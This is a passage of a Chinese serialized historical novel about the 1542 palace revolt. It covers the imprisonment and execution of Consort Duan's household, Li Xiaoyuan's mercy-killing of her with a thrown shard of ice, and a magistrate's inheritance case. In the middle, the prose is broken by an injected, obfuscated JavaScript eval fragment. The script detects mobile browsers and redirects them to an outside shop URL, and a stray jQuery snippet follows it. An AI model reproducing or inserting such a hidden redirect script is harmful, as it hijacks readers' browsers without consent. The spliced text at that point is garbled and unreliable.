当天晚上,诗音带着小公主睡在榻上,刘让在门边安铺。她做了好多梦,小公主也常常在梦里啼哭,这样翻来覆去地醒了又睡睡了又醒。一忽儿,她梦见自己置身云端,飘飘的风鼓起她的长裙,那样地自由自在,仿佛将要乘风而去;一忽儿,她却恍然发现自己身处囹圄之间,扛着一副成年男人也熬不住的三十斤的大枷,坐在脏兮兮的牢房角落的草堆上。整座宫殿里抓来的姑娘们,和端妃与宁嫔,都在这儿,因为寒冷和恐惧而瑟瑟发抖。杨金英从起初就另关在别处。陆炳过来捉她时,她还不撒手,趁着最后的机会猛然挥起掌中的银钗,因此是确凿的首恶。 端妃已被夺去了尊号,称为“逆御氏”,在牢里她便听说自己全家满门都已被抄斩。她父亲曹济,因沾了做娘娘的女儿的光,寄禄在锦衣卫做个副千户,这类寄禄官,整天没有什么正经事,不过是吃一份空饷罢了,但曹济很爱和他那些名义上的同事们交往,大家常在一起吹吹牛,喝喝酒。当天,他刚踏进衙门,就被同僚们一棍打倒,押去砍了头。 逆御氏,左手搂着苏川药,右手搂着杨玉香,坐在那儿。牢房中的所有人全给吓得连眼泪都没有,大家屏息凝神,听着隔壁牢房里传出来的声音。 诏狱的牢房,是天上地下最为严酷的地方,历来犯人们从诏狱转到了三法司的正规监狱,都觉得好似从地狱来到天堂了一般。据说这儿的石壁厚逾三尺,关起门来,里面发生再可怖的事情,外面也一丝声响也听不到。可是如今,为了恐吓这些惊惶的宫女们,竟然将隔壁的牢房给打开了,于是上刑时姑娘的惨叫就清晰无比,阴影和尖叫声回荡在石壁上,更平添了无穷的恐怖。金英在受刑时,口中尤然痛骂不休,道: “王侯将相宁有种乎!他那东西我也见过,哈哈!大不过老娘的大拇指头!” 一干锦衣卫和司礼监的大人都被她骇得呆了,不知道一个小女孩如何这样不知廉耻,喊叫出这样肮脏的话来,加在她身上的鞭打就更加严酷。 诗音一直静静地坐在那里,不知在想些什么。其实,她是忽然想起小时候的事。她父亲是嘉善县令,母亲原本是父亲家里买来的使婢,和少爷从小一道长大,到林少爷加冠后,力排众议,定要迎娶她母亲为正妻。诗音出生那年,她父亲正是金榜题名,得了一份鱼米之乡的美差,家中又出了一件喜事:夫人的父亲前来寻亲了。 原来夫人本姓刘,是庆远府宜山县人,原是姊妹两个。家中贫寒,母亲早逝,做父亲的没奈何,将两个女儿都卖与人家为婢。他自己却带着卖得的钱到苏杭一带做生意,二十年间,竟发了大财,于是想起来要寻找女儿,辗转寻至此处。 这样接二连三的喜事,令一家人都将这女孩儿看作是命中的福星,爱如珍宝。后来,在诗音五岁上,她父亲坐贪污而全家籍没。于是这样一位千金的小姐,本来是大好的日子,竟闹到父母双亡,家财失散,她自己没入乐籍,按律在十六楼当街贩卖。 幸好她还有一位姨妈,嫁的是当朝的高官,有做好事必要的钱和权。姨妈多年来也在寻亲,却不想寻到这份亲时,妹妹一家早已家破人亡。 姨妈千里迢迢赶到金陵,把她给买了回来,此后便娇养在家中。只是过了两年姨妈刘氏便死了,这女孩儿又复落入了孤苦伶仃的境地。她既是乐籍,按律不得与良家通婚,老李尚书又绝不可能把千娇百宠的侄女儿嫁给那些乐工、龟公。 两年前,送她上那艘船时,姨丈眼中含泪,深深地望着她。她的姨丈是个清癯、严肃的老人,她从没见过他表达出这样激烈的情感。就连姨妈死时他都没哭,只是像一截枯树桩那样坐在她的床边。 姨丈要她为自己搏个出身。她倒好,把自己搏到诏狱里来了。 忽然,端妃呼唤道: “诗音!” 她的发丝散乱了。此刻,她用憔悴的目光望着诗音: “我求你一件事,你可答应么?” 诗音拖着枷锁,膝行到她面前,笨拙地俯身下拜,道: “诗音连命都是娘娘的。” 她自进宫以后,受端妃庇护甚多。两人有时候睡在一张床上,说些悄悄的话儿。端妃问她,这样的千金小姐,为什么要进宫为奴婢?家人如何舍得?她便将原委全告诉了她。原来她不是什么千金小姐,只是贱籍中的贱人,宫中最重妇德,凡进者皆为良家子,原本连采奴婢都不肯要她这样的人呢。 端妃悄声道:这有何难?等着罢,我替你去说。 此时此刻,端妃低头,对她微笑道: “我把女儿托付给你了。你须看着她……平平安安地长大……” 她说着,便再也不能忍耐住泪水。望着诗音,仿佛望着禄贞小公主长大后的容颜。 所有人一个一个地被提出去审。端妃向司礼监张佐供认出了诗音和前朝的翰林李孝元的乱宫之罪,又殷殷切切地道: “妾自有些心意孝敬公公,只怕公公不相信妇人女子说出的话……” 张佐仍板着脸道: “娘娘这话说得重了,若是不信妇人的话,那咱每这儿日里审了夜里审,为的却是甚么?放心吧,只要娘娘是清白的,一定给娘娘公道。” 端妃低头垂泪道: “我已是活不成的了,哪怕没有这件事,由着我的宫人做出这等荒唐事,也没颜面再见皇上。何况不想叫我活的人有多少!只可怜了我宁嫔妹妹,只是和我住在一个宫里头,今日就遭这样横祸……” 张佐受了曹端妃的金银,又将他审出来的那桩乱宫案当作一项意外的成果报了上去,皇帝倒并不十分恼怒,但责罚依然沉重。末了,审来审去,两宫之中,竟然独有一个林诗音,因为案发时正被禁足,反而一时免于死刑。至于端妃及二十名宫女,先诛其九族亲眷,后择一良辰吉日,在宫外西角楼受了凌迟之刑。 刑后不过两三天工夫,皇帝受的大惊就好了些,他自己仔细想想,也觉得端妃无辜,可惜斯人已逝,徒留慨叹而已。诗音倒因此捡回一条命,被放出了诏狱。 其实按皇上的意思,当场就要把她扔出宫去,眼不见心不烦。然而诗音听说要放她回家,竟扑在那传旨的太监面前叩头不止,在冰凉的石板地上直磕得血流满面,那太监也忍不住上前扶住她道: “林姑娘这是做什么?谢了恩,快去罢,咱这就给您签出宫的牌子。” 诗音流泪道: “奴婢不知道有没有这个福气能求皇上的恩典,求公公替奴婢求求情,让奴婢留在宫中吧。端妃娘娘曾叫我好生照顾小公主,如今娘娘阖宫俱丧,小公主不知要交给哪位娘娘抚养,奴婢愿意就在那位娘娘宫里做最低贱的事情,只要让我远远地看着小公主就好。” 皇帝听了太监这么一说,流泪长叹道: “是女子之中也有这样忠孝者!也真不愧是李孝元的妹妹。” 他便下旨去了诗音的奴籍,当年老李尚书送她入宫的苦心,如今终于有了个结果。 小公主被送到沈贵妃宫中抚养,诗音自然也跟了去。沈贵妃早知其中曲直,也敬佩诗音的忠诚,仍将宫中钥匙交给她,待她如当日在曹端妃宫中一般无二。诗音掌过两宫的钥匙,性情渐渐历练得更加沉稳贞静,办事滴水不漏,这又是后话了。 却抛开后话,且说前事。云翼送李探花回去以后,大风大雪地闯回自己家里来,冻得脸色发青,将胡二给吓了一跳,看看云翼家里连点炭火都没有,急得团团乱转,回家将自己家里不多点柴火都拿了来,又拆了一片篱笆当柴烧,还不知明儿怎样造饭。 胡小娘从被窝里给惊醒,跑来一看,云翼在炕上坐着,披着他那床薄被,不住地发抖。小娘拉过他冻僵成萝卜样的双手,在炭盆前细细地烘着,又烧了热水来给他喝,后来干脆拉过被来,将自己和男人都脱得赤条条的,囫囵睡了。云翼只梦见自己还在大风雪里跋涉,忽然感到一样极温暖的圆滚滚的东西闯进怀里来,云翼心想:怕不是条好狗。就想到自己儿时在家里养过的一条狗,很高兴地把它抱在了怀里,觉得这会儿幸福更甚于中进士的时候,安宁地睡了。 次日醒来,发现自己和小娘光着身子在被窝里,吓得魂不附体。小娘仍舒舒坦坦地躺着,说道: “躺下。” 云翼瞪了她半天,只好乖乖躺下。 过了一会儿又猛地爬起来,想起自己要上班,于是急急忙忙地穿衣服。他的衣服在风雪里涉了半晚上,浸得透湿,又冻得发硬,在那点炭火上煨了半夜也没彻底烘干,除衣摆上烧焦一块之外别无其他成果。云翼不吭声地都穿上了身,穿完了夹袍,才想起来自己昨天干的蠢事:他竟然将官服撕成碎片给李孝元裹伤。如今连一身衣裳也没有,这衙门如何能去得? 胡小娘就这么在被窝里,瞧着他发了半天愣后又长叹一声,躺了回去。 幸好御史台的差事倒也用不着天天早晚在衙门里泡着。只是后来几个同僚发现云翼缺了一天的班,很是稀奇。 且说云翼在家里团团乱转了一阵之后,次日便换上他的另一套衣裳——一套蓝布的便服,出门去了。在耀眼的雪地里又是一通穷走,路过市场又买了点东西,日中时分终于走到了李探花的宅邸。这是幢相当气派的石头房子,门前挂着灯笼,两个门子站着。云翼道: “劳驾,进去通报一声,就说……” 他皱了皱眉头,改口道: “就说前天送你们少爷回来的那个人来探病了。” 门子道:“原来是您啊!管家早吩咐过,要是您来了,二话不说就请进去。只是小人眼拙,今儿您把头发梳整齐了,没认出来。您快请吧。” 这是云翼第二次来李探花家,上次黑灯瞎火,情势又急,什么也没看清,只觉得他家大得烦人。如今再看,真是堂皇得唬人。十二尺的高墙围住一个大得能跑马的院落,院子里有那么多的树,树下零落摆着李探花习武的梅花桩和木头架子,上挂着刀枪剑戟斧钺钩叉无所不有。进了屋,如同到了春天般暖和。管家早听着信儿,迎了出来,见着云翼就一揖到地,拜了个大的,云翼赶忙将他扶住。 “老先生不必多礼。” “唉呀,先生!唉呀,壮士!上次未请教您尊姓大名,这回可得教您知道我这心里有多么感激……快请,刚好少爷醒来了,瞧着精神头倒还好,叫他见见救命恩人!嗨,还未请教恩人高姓?” “我姓胡。” “胡壮士!” 管家引着云翼来到了李探花的屋中。打开房门,又是一阵浓浓的雾霭也似的香气,掺着药物的味道扑面而来。管家道: “少爷,你瞧,前天救了你命的那位胡壮士,今儿又探你来了。” 李探花正百无聊赖地趴在床上,一看见云翼,就笑了。 “什么壮士呀,他是我同事。” “是吗?”管家一愣。那天云翼一路走得官帽都不知掉哪儿去了,又没穿外衣,至于给李探花裹伤的那些布料,腌臜不堪,一除下来就当垃圾扔了,他还当云翼只是个普通的好心人,想不到是御史台的官员。当下拜了又拜,连连告罪。 “我老头儿年纪大了,老糊涂了啊,竟看不出是御史台的大人……” 云翼道: “嗯。” 就走进来,将他给李探花买的礼物放在床头的小桌上,引得他连声道: “什么什么,拿来给我看。” 云翼只好把那玩意拿在他手里,李探花就两手捧着看。原来如今京城里流行这么一种孩子玩意儿,一个烧干糯米制成的半透明灯笼状的壳儿里,放着两尾巴金鱼,民间俗称叫“泡灯”的。李探花将之来来回回地把玩,大加赞扬,倒叫云翼不好意思了。这原本是他路过市场随手买的,因经费一抠再抠也只有一个铜板,故而也只买得起这么一个玩意。云翼反而道: “好了,不要再玩这些了。”夺过来放在桌上。李探花哭笑不得: “你自己买给我,又不叫我玩。” 云翼说: “病了就专心养病。” 那管家在旁边说: “少爷,胡大人说的是。” “李丙闭嘴。” 那李丙竟然回嘴道: “李丙要是闭嘴了,少爷就要无法无天了!李丙有话非说不行。” 原来这个管家的李丙,原是李探花的父亲老李尚书的老友,二人年轻时走江湖结识,李尚书看他为人厚道,便雇在家中管事。此人是从小看着少爷长大的,和少爷两人,一个对少爷没大没小,一个冲老仆没小没大,总要闹得鸡飞狗跳。 自从李荣病殁之后,便是李探花一人在京。老李尚书放心不下,恐怕他这个小儿子年轻气盛,再惹出什么祸端来,便命李丙过来看顾着他。此刻李丙自己忙得团团转,把云翼让在座上,一会儿给他奉茶,一会儿又挑起话头来引着几人说话,一会儿又问云翼打听新闻,一会儿又拿起药来叫他家少爷喝。李探花和他讨价还价,非要他“答应”了才喝。李丙板着脸道: “左右我是要向老爷告一状的了!不是告你丢了官,就是告你不肯喝药,再不然就告你欺负李丙老了,不肯听他的话。” 把李探花急得捶床,一忽儿又换了个撒娇的嘴脸道: “丢一个官有甚可惜,你只不要把我挨揍这事告诉爹爹,过两个月我好了,还要亲自回去看他老人家呢。” 李丙对老李尚书忠心耿耿,这么大的事情,他当然不会帮着遮掩。然而他的性格也很倔强,又不肯在李探花面前装出顺服的样子骗小孩,两人就争了起来。李丙把碗沿凑在他嘴边,道: “张嘴。……要说的。要说的。这么大的事情不能不说。知道你爹会担心,以后就少惹麻烦。” “不准说。这个真难吃。” “少爷,谁叫你闯出祸来,少不得吃点苦头喽。……能捡回一条命来听大夫摆布,还算你命大!幸好那名医薛巳正在京里,饶是他来了,也足忙活到第二天天亮,才救回你一口气来。你自己睡得香,不知道把旁人吓得魂飞魄散。” 李探花趴在胳膊上,笑眯眯地说:“我觉得没有什么。” 那李丙叹了一声,“我说少爷,挨一顿棍子有什么好高兴的,难道鬼门关外的风景格外好看?李丙活这么大岁数,我也走过江湖!我也闯过鬼门关!那滋味可不好受。” “真的没有什么,挨到十下以后就觉不出来了。” 云翼听了,也叹口气。实际上十下以后确实便开始一次次地昏迷又被泼醒,这是他当日亲眼见过的。但也不去戳穿他。后来,李探花问他: “胡大人,你看了这两日的邸抄没有?端妃娘娘怎样了?放回去没有?还有我——她的那些宫人呢?端妃娘娘真是聪慧无比,怎想出这样的好办法来脱罪的?我想皇上看在……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995983|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他倒一点也不生气自己无端端挨了顿打,反而像搞出了个极成功的恶作剧那样高兴。 云翼将他没了官服,不敢去上班的事情隐去不提,只道: “这两日都未到衙门。不过事情我是知道的,曹端妃等人俱判了凌迟,大约月内将要行刑了。” 李探花的脸色霎时间褪为惨白,一句话也说不出。云翼望着他,又说: “只你表妹活着,发还听用。如端妃所说,她发现乱宫之事以后便将那林诗音禁足了,由此倒反而给她洗脱了嫌疑。只是当日乾清宫中侍奉的,并曹端妃、王宁嫔阖宫上下,都逃不过一死。” 李探花喃喃地说: “只我表妹活着。” “是。” “发还听用。” “是。” “还在宫里。” “是。” “还过这种日子。” “好了别问了……所幸人还活着。” 李探花听了,把脸埋在了臂弯里。 云翼丢了官服,不能上班,急得他团团乱转,后来胡小娘当了自己的一件夏裙,在旧衣店里给他换了一件红圆领袍,回来再用她那些破布头拼拼改改,不仔细看倒也可称略具轮廓。只是补子却很不好办,这东西也不是一时半会能制得出来的。但云翼倒已经很高兴,连连说补子他可找地方借到,便喜孜孜地试他的新衣裳。忽然外面一阵乱响,李府上来人送了一个大木盒,两个小厮好没礼貌,把东西放下就走,一句话也不说,好像生怕被云翼揪住打一顿似的。 那盒子用上好的彩缎包裹,打开一看,里面却是整整三身簇新的官服,并六张不同品阶的补子,足够让云翼做到官居一品。要知道私自持有非本品的补子,那可是犯法的。云翼目瞪口呆,把衣服一掀,下面却还码着白花花的纹银,足有七八十两。云翼将盒子盖嘭地掼上,正要发作,却见包裹中悠悠飘下来一张帖子。李探花尚未痊愈,一把字写得乱草也似,难以辨认。大意是说,他知道云翼一定生气,盼云翼先不要生气;他有要紧的事情要和云翼商量,请他速来一叙才是。但假如他把所赠的东西一道带了来,就说明云翼不认他的交情,那干脆话也别谈,李家的门他也甭进。 云翼费劲看完这一番话,哭笑不得,气也气不起来了,只好乖乖从命,走去见那活祖宗。李探花坐在床上,两个丫鬟一个替他揽镜,一个替他梳头,他自己正傅粉施朱,涂抹得好不娇艳,见云翼来了,就挥开婢女,笑道: “云翼,好云翼兄,你带我出去玩儿吧!” 云翼目瞪口呆: “你是不是疯啦?” 李探花道: “谁叫我就你这么一个朋友啊。我不求你求谁?” “你……”云翼憋了好半天,实在闹不明白他这是哪出,“不要败坏我的名声!你打扮成这样子,这……” “嗯?”李探花停下手来,看向他,“不好看吗?” 此时他正收拾了一半,半脸本色,半面女妆,正拿着笔要勾另一只眼睛,两个婢女都嘻嘻地笑。云翼看了他一眼,又赶紧扭过头去,不吭声了。 早它三五天里,众人便就传说,那杭州名妓罗桂林,近日竟到了京师,除应请之外,还要会她的朋友胡云翼。 官员们多好风流雅道,虽然不能明着来,但对南京一带的名妓如数家珍。此时便有人反对说:他胡云翼是个什么粗鲁不解风情的东西!罗桂林能看上他?然而原来云翼竟也是杭州人,机缘巧合,竟与罗姑娘有了旧交。故而罗姑娘到京城来,足足陪了他一天。 旁人笑话说:杭州男子多了去了,罗桂林既然是罗桂林,怎么看上了他?又有人摇头道,罗姑娘虽在风尘,却有士风,胡云翼虽然不是个好情人,却是出了名的端方正直,所以得美人青眼。这罗姑娘最是重情重义,要不然,也不能把一本《窦娥冤》、一曲“梅花酒”调唱的那样至情至性,催人泪下了。说着,那号称曾在几年前听过一次罗桂林的全本《感天动地窦娥冤》的,就摇头晃脑地哼唱了起来。正是: 你道是咱不该“这招状供写的明白”, 本一点孝顺的心怀,倒做了惹祸的胚胎。 我只道官吏每还覆勘,怎将咱屈斩首在长街! 第一要素旗枪鲜血洒, 第二要三尺雪将死尸埋, 第三要三年旱示天灾……* 到了传说的当日,果然西角门外的一座清雅小馆,整一日都给包了下来。可是不妨碍大家一大早眼巴巴地等在外面,看罗桂林的车到了,便纷纷地向上面扔金珠玉片、香花绫罗。车上美人和她那木头一道下来了。却原来那罗桂林一双小脚裹得好,竟是半个“抱小姐”,一举一动须要人扶,娇怯怯弱不胜衣,泪点点惹人心怜,把胡云翼这样的茅坑石头都给感化得软和了,竟然由他亲自将罗姑娘从马车里抱上了楼,围观群众不管认得认不得他的都是一阵大嘘。云翼的同僚中有好事者关心此事的,虽然碍于官员身份不得亲自去看热闹,听到是如此场面,也忍不住开怀大笑。 且说云翼将李探花抱在楼上,两人在桌边坐了。云翼仍板着脸道: “为了你,我可是豁出了脸面去了!你以后最好也小心些,莫要到杭州去,叫正牌的罗桂林揭穿了你。” 李探花笑道: “往常我要罗姐姐的金钗子戴,她都把妆奁打开随便我挑,如今借一借名头有什么的,少不得她听说了还自会替我遮掩。不必担心啦。” 此时远处百步开外,一阵锣鼓声响。原来西角门外,就是宫变大案的罪首们的刑场。一大堆人密密匝匝地围在那,看空场上树二十来个杆子,一个杆子上绑一个宫女,个个美貌异常,也都裹得好小脚儿。大家看完了名妓罗桂林,又跑去看割女人,一点热闹也不落下。人堆儿里纷纷地传言说,这里面有娘娘也有宫女,还有皇上的端妃呢。大家就很起劲地猜哪个是端妃,是不是眼角有痣的那个?他的同伴就严肃地摇头道:瞧这两条腿并拢的样儿,像是个没生育过的。你不知道吧,这里面学问大着呢!女人生过没有,甚至身子破了没有,这从腿上一看就看得出…… 大家争执不下的工夫,正头戏开始了。太监念过文书以后,一个监刑的官儿,坐在那,将案上的签子往地下一掷,便有刽子手提起刀来割。一时间,群芳痛哭,惨烈无比,唯有一个少女兀自痛骂不休,慢慢地引得其她正遭惨刑的少女们也呼喊起来。那监斩官站起来,大声道: “住嘴!刽子手,先割了这些贱人的舌头!” 少女冷笑道: “你纵割了我的舌头,我的身死了,我的魂不死!我日日夜夜徘徊在紫禁城上头!我日日夜夜徘徊在狗皇帝的心里头,索他的命,索你们所有人的命!” 云翼因隔了老远,也听不清她们在说什么,只是朦朦胧胧地看着这场面,心下不忍,也不知道李探花要他上这儿来做什么,难道是为了看这残忍的场面来下酒?此时李探花忽然将一只碟子推到他面前说: “你别扫兴了,尝尝这个吧!” 原来是碟子兰花荔枝冻。虽则是数九寒冬,但屋里温暖如春,也怪不得好吃会吃的贵人们会想一口冰了。云翼哼了一声,不肯动。李探花不再劝了,微笑着将碗里的一块冰扣在手心,慢慢看向窗外,一颗心砰砰直跳。 都说他是学武的奇才,今天终于到了门槛边上。他在大同杀了许多人,没能救下大哥的命。他能翻墙越脊出入皇宫如无人之地,却无法带表妹去过自由自在的生活。这么些打击已经几乎令一个少年人气竭。眼下,他又面对着一个真正的考验,也是他习武至今,第一次觉得真的能够用武艺来做些有意义的事情。 刑场上已是惨不忍闻,鲜血铺地,渗不下去,便在地上积了黑糊糊的一层。只有曹端妃一声也不吭,默默地忍耐着痛楚。但是忽然之间,她睁大了眼睛,眨了眨,一时间仿佛看向天空,又仿佛灵魂已经随着目光而脱身离去。她的头点了一下,便垂了下去。她竟是最幸运的一个——行刑没开始多久,便死了。 只有那伺候娘娘的刽子手吓得屁滚尿流,连忙爬在监刑官的脚底下,告饶道: “大人,非是小人的手艺不好哇,这是有人捣鬼!一定有人捣鬼!小人方才便感觉有个什么冷飕飕的东西从耳朵边上过去了,大人您要明鉴那!” 监刑官左右开弓扇了他好几个巴掌,怒道: “不知死活的狗东西,还敢狡辩!” 曹端妃胸口已被割开了数刀,血肉模糊,分明是普通的凌迟刑伤,没有什么异样;他上前一步正要细看,抬眼却见端妃安详的遗容融融有光,仍仿佛在对着他微笑,便咽了口唾沫,不再说什么了。 李探花终于收回手去。云翼将方才目睹之事引以为超自然现象,目瞪口呆地望着他——只用一块冰,便精确地打在了百步开外,一个常被刽子手的身影阻碍的目标上,一击致命,简直是天方夜谭。李探花张开双手,这是一双非常匀称修长的拿笔的手,文采风流的探花郎的手。他对云翼笑了笑,道: “你看,人家的手上功夫不错吧?”话音未落,便呕出口血来,栽倒在了杯盘之间。 *《元曲选-窦娥冤》第四折,关汉卿,《梅花酒》 8. 丹霄叶,青霞矫心 嘉靖二十年的春日,正当我们的主人公李孝元高中了一甲,在奉天殿前授了官,皇上还和他多说了那老些话,于是高高兴兴,众人拥簇,鲜花骏马游京华的时候,溧阳的知县沈炼,日后传说叫作“青霞山人”的,清早起走出来在院中练剑。他手中那一把长剑,正是锋芒如雪,锐利迫人眼睫。历来他习剑的时候,家里仆人看了感觉寒噤,都绕着走。 沈炼是浙江人士,家中不上不下地是个乡绅,他一生原也过得不好不坏。娶个妻子,相貌和品德,不美也不丑;一番考运,不顺也不屈,做个官不大也不小。像这样人,若是幸肯不计较,倒是很可以平淡而无忧无虑地度过一生,如昔日东坡所说:“惟愿吾儿愚且鲁”。然而此人一生最大的毛病也就是爱计较。 且说这剑法,是他的老师王阳明所传。方当沈炼幼年,他父亲是乡里第一个荒唐人,也不锐意读书,也不安心产业,竟然变卖了田土,把家都抛了,携了几百两银子到京城闯荡,十几年也没个信儿回来。沈炼靠母亲和乡里族人帮衬养大,族人待他倒也不错,只是却不好太过管束他,于是这孩子便放纵了,在十三四岁上,不去上那族里的学塾,竟随着阳明先生的一帮人天南海北地游学,养成一番游侠习气,剑法的路数,极尖锐刚猛。 所谓武功、剑法者,在士子们眼中,就和卜筮算卦、医道星象之流一样,庶几为旁门左道,总之是不能凭了它做官。可是阳明先生的“稽山书院”却是走到哪儿就开到哪儿的,先生宦途坎坷,他的身边永远跟着一帮学生,走到哪儿,就领教先生的学问到哪儿,随着也游历了许多名山大川。那么人在羁旅,防身之术不可或缺,沈炼的剑术也就在这种磨练之下,越发地精纯了。 到沈炼二十岁上,阳明先生谢世,他便辞别了师兄弟们,回家来支撑门户,又十年,戊戌科中了进士,来在溧阳做知县。这溧阳在应天府脚下,虽未得金陵城那般繁华富丽,究竟也算是极富庶的鱼米之乡,得了这么个缺,也是相当难得。沈炼在任三年,将个溧阳县治理得安宁和乐,百姓称颂。 他在这任上,颇经历了一些稀奇古怪的事情,就说手中的这把长剑,来得就奇。系有一天门前来了个道士拜访——嘉靖皇帝既然雅好仙方,自然是全国上行下效,道门昌盛极了,只没人有皇帝那个条件能频频地取老婆的月经纸来吃,首先是没有那么多老婆,其次是没有那么好胃口,道士们须得借些旁的东西糊口。且说当日来在沈大人门前的这一位,生得脸膛黝黑,五大三粗,自称杭州神乐观来霞士。来道士极力地向他推销一把长剑。沈炼拔剑一看,只见剑光如水,亮晃晃的,十分好看,便问价钱。 那道士便很是吹嘘了一番,说:这把剑非百两不卖!沈炼摇头。两人几下谈钱不拢,沈炼便提着剑,挽了两三个极娴熟精巧的剑花,觉得十分顺手,便倚着门,盘算着自己那点家私够不够潇洒一回,忽然笑了笑,刚要说话,孰料那道士不知自己瞎想了些什么,忽然脸上变色,截口道: “可是你大人是位大英雄豪杰,我一个钱也不要,双手奉送就是了!” 当下打了个躬,匆匆跑开不见了。 原来这又是常见的一种骗术。游侠的少年们好逞凶斗狠,这是自古皆然,有买的就有卖的,这道士就专向铁匠铺里寻些破铜烂铁,回来用银子薄薄地镀上一层,将它塑得寒光闪烁,很能唬人,出来见着阔人打扮的,就上前将其极力地夸赞一番,将那人捧得心花怒放,恍惚间,还以为自己是岳武穆、铁中棠在世。便是几百的银子也肯掏。其实这把剑总共不过值它几十个钱罢了。 这道士本是故技重施,可是看沈炼试剑的神气和功架,却惊觉他是个有武功的,又是一位官老爷,若是他觉出受骗一发怒,便将自己一剑戳个窟窿,也没人赔,于是只得自认倒霉,慌忙跑了,徒留沈炼在原地发了半天的怔。 后来他发现家里下人神神秘秘地传说这剑是天上的神物:每当沈老爷舞剑之时,若有仙鹤飞来,不出三天必有大案。沈炼听了只觉得好笑。这些粗人既不通文墨,愚昧无知,常常将一些普通的事情给附会出奇幻色彩。要知道此时的秦淮河是一方水泽,还没有变成后世那条小臭水沟;溧阳的周围,水系四通八达,别说舞剑了,就是在街上打个滚也常常见着些鸟禽飞来飞去,至于仙鹤那是无稽之谈。大案的标准,在众人的传说中则是极宽松的。像这样的画靶射箭,怎会不中? 然而这些传说确实将他的心与这剑拉近了,他竟真是个有大志气的人,不愿在县令的位置上蹉跎一生,总想着要做些男子汉大丈夫的豪杰事业才是,虽然实际上并没有仙鹤,沈炼的心中却有仙鹤。他给这把剑取名作“矫心剑”。盖“映丹霄而有叶,淩青霞而矫心”之谓也。虽然明知道这把剑不值几个钱,可是他性格不慕荣华,当日同老师共游的时候,就是木头和竹子做的剑,也用得很顺手,矫心剑长短重量都合宜,因此竟成了他的一件心爱之物。 沈县主在院中慢慢地舞了一套剑,他堂上的一个机灵的衙役宋升,在旁边缩头缩脑地觑着机会,终于趁一个收招的间隙,喊道: “老爷!” 沈炼问道: “何事?” 宋升挤眉弄眼,沈炼知道他是怕剑,就归剑入鞘,亲自进屋放在架上。宋升跟过来说: “老爷,今儿一大早,王家的婶子又哭着闹着到堂上来了,说王家的人欺负她孤儿寡母,要占她这一房的田地,你听外头那一阵鼓噪。” 沈炼的住处离正堂衙门甚远,而今竟然也听得到隐约的吵嚷动静。他叹口气,喃喃自语地说: “摊上这帮人,倒真是我沈某的造化。”便走去升堂。 沈炼将官服官帽穿戴整齐,来到堂上。这是清晨,还不到升堂的时候,因此外面的街上静悄悄的,大堂之上却是正有几人歪缠不清,那告状的妇人,和人撕扯得发髻都散了,一半脸前头发纷披着,见了沈炼,就嚷道: “好了,好了,老爷来了,老爷,你可要为奴家做主啊!”一番的哭天号地之后,又回头冲另外几个人道: “瞧着,老爷与我做主,管叫你们这些没良心的不得好死!” 沈炼听得头疼,板起脸来道: “妇人,是不是与你做主,还看你有理没理。若是有理,这个主我做,若是你没理,先治个咆哮公堂再说。到底什么事?” 几个人口纷纷地各喊各的冤。沈炼花了好一番工夫才把事情搅清楚,原来这王家的妇人,娘家姓吕,只叫她作吕氏罢了。吕氏原本寡居多年,养着个女儿,前些年聘出去了。她在家里觉得寂寞,又一再地遭女儿女婿嫌弃,便思再嫁,一辈子吃苦怕了,只要个有钱耳根又软的。 她今年三十七,媒人只说她二十七,来在王家,向王大将她说得天花乱坠,如仙女下凡;那边王大五十多岁,和妻子是少年的夫妻,咬牙辛苦做了一辈子,攒下一份家私,他便改了性情,在外面眠花宿柳,气死了老婆。此后他有心要寻个续弦。这续弦,他便要一个既美貌温柔,又端庄稳重,能管家的。媒人便上吕氏家里去,说王大如何如何有钱,连着三百亩的好水田,都是他的,王大又是个读书人,斯文有礼,性情谦和,进去就做正头娘子,八抬大轿娶了去,好不有面! 于是媒人这么两边一蒙,各自都很高兴,等新婚之夜吕氏见了王大,好像床底下钻出来黑黝黝的一头大水牛,莫说斯文,他连个大字也不曾识得;吕氏当场便不依,坐在床上蹬腿扯头发地大哭起来。王大心里又恨媒人,又恨这婆娘,还恨自己早死了的妻子,两人在新房里撕打起来,外面几个贺喜的仍坐着吃酒,听见里头动静,还彼此笑着说真热闹。 次日,王大自提了把柴刀去砍那媒人,路上在水田里一交跌死了。吕氏倒不曾想到,她本要寻个耳根软的汉子,这却也太软了,第二天就归了西,于是呜呜咽咽地哭了。一面哭,一面起来,将屋里的许多金银细软,包括王大的一只银夜壶,都收在自己的箱笼里。后来王大的几个族弟得知这吝啬的老哥哥死了,一哄地拥过来要分老大的家私,然而东找西找地也找不见值钱物事,几张田地的契约也不见踪影,就和新嫂子拉扯起来。吕氏一张嘴说他们不过,就忽然掐鸡也似尖叫一声,一口咬定王大的一个族弟,叫王学正的,要轻薄于她。王学正是个秀才,脸上过不去,闹上衙门来。 沈炼慢条斯理地道: “你们究竟谁告谁?是吕氏告王氏轻薄,还是王氏告吕氏霸占财物?” 王学正抢先拜了拜道: “学生只望大老爷做主,还与学生断一断大哥的这些儿产业的好。”他既把话头儿占住,又弯身拜倒:“按理说,只我和大哥是一个妈生的,他死了,家里无人做主,就是我这个一母同胞的弟弟给他料理。我倒不是贪图大哥的这点儿家私,只是收殓、吹打、寿材,下葬时又要请风水,又要寻穴……哪个不要钱?” 沈炼道: “王八,你少油嘴滑舌!前天在小脂粉巷逮住的不是你?” 王学正的面上腾地红了。原来他在族中行八,因此不说话时虽也算好好的个人,竟从此得了个外号叫王八,和他大哥是一般德性,只是大哥万事都得拿钱开道,他因生了副白净面皮,有时候竟不必花钱,自有姐儿来和他相好。这样王八憋了半晌,道: “这位新嫂子忒不要脸!三十多岁的人了,还要卖俏呢!大老爷你说——” “我说你趁早寻个正经事业做是真。”沈炼说,“下去罢!各家归各家,既早已分家,就别再惦记人家。再寻这些无聊事来消遣本官,打你个屁股开花!” 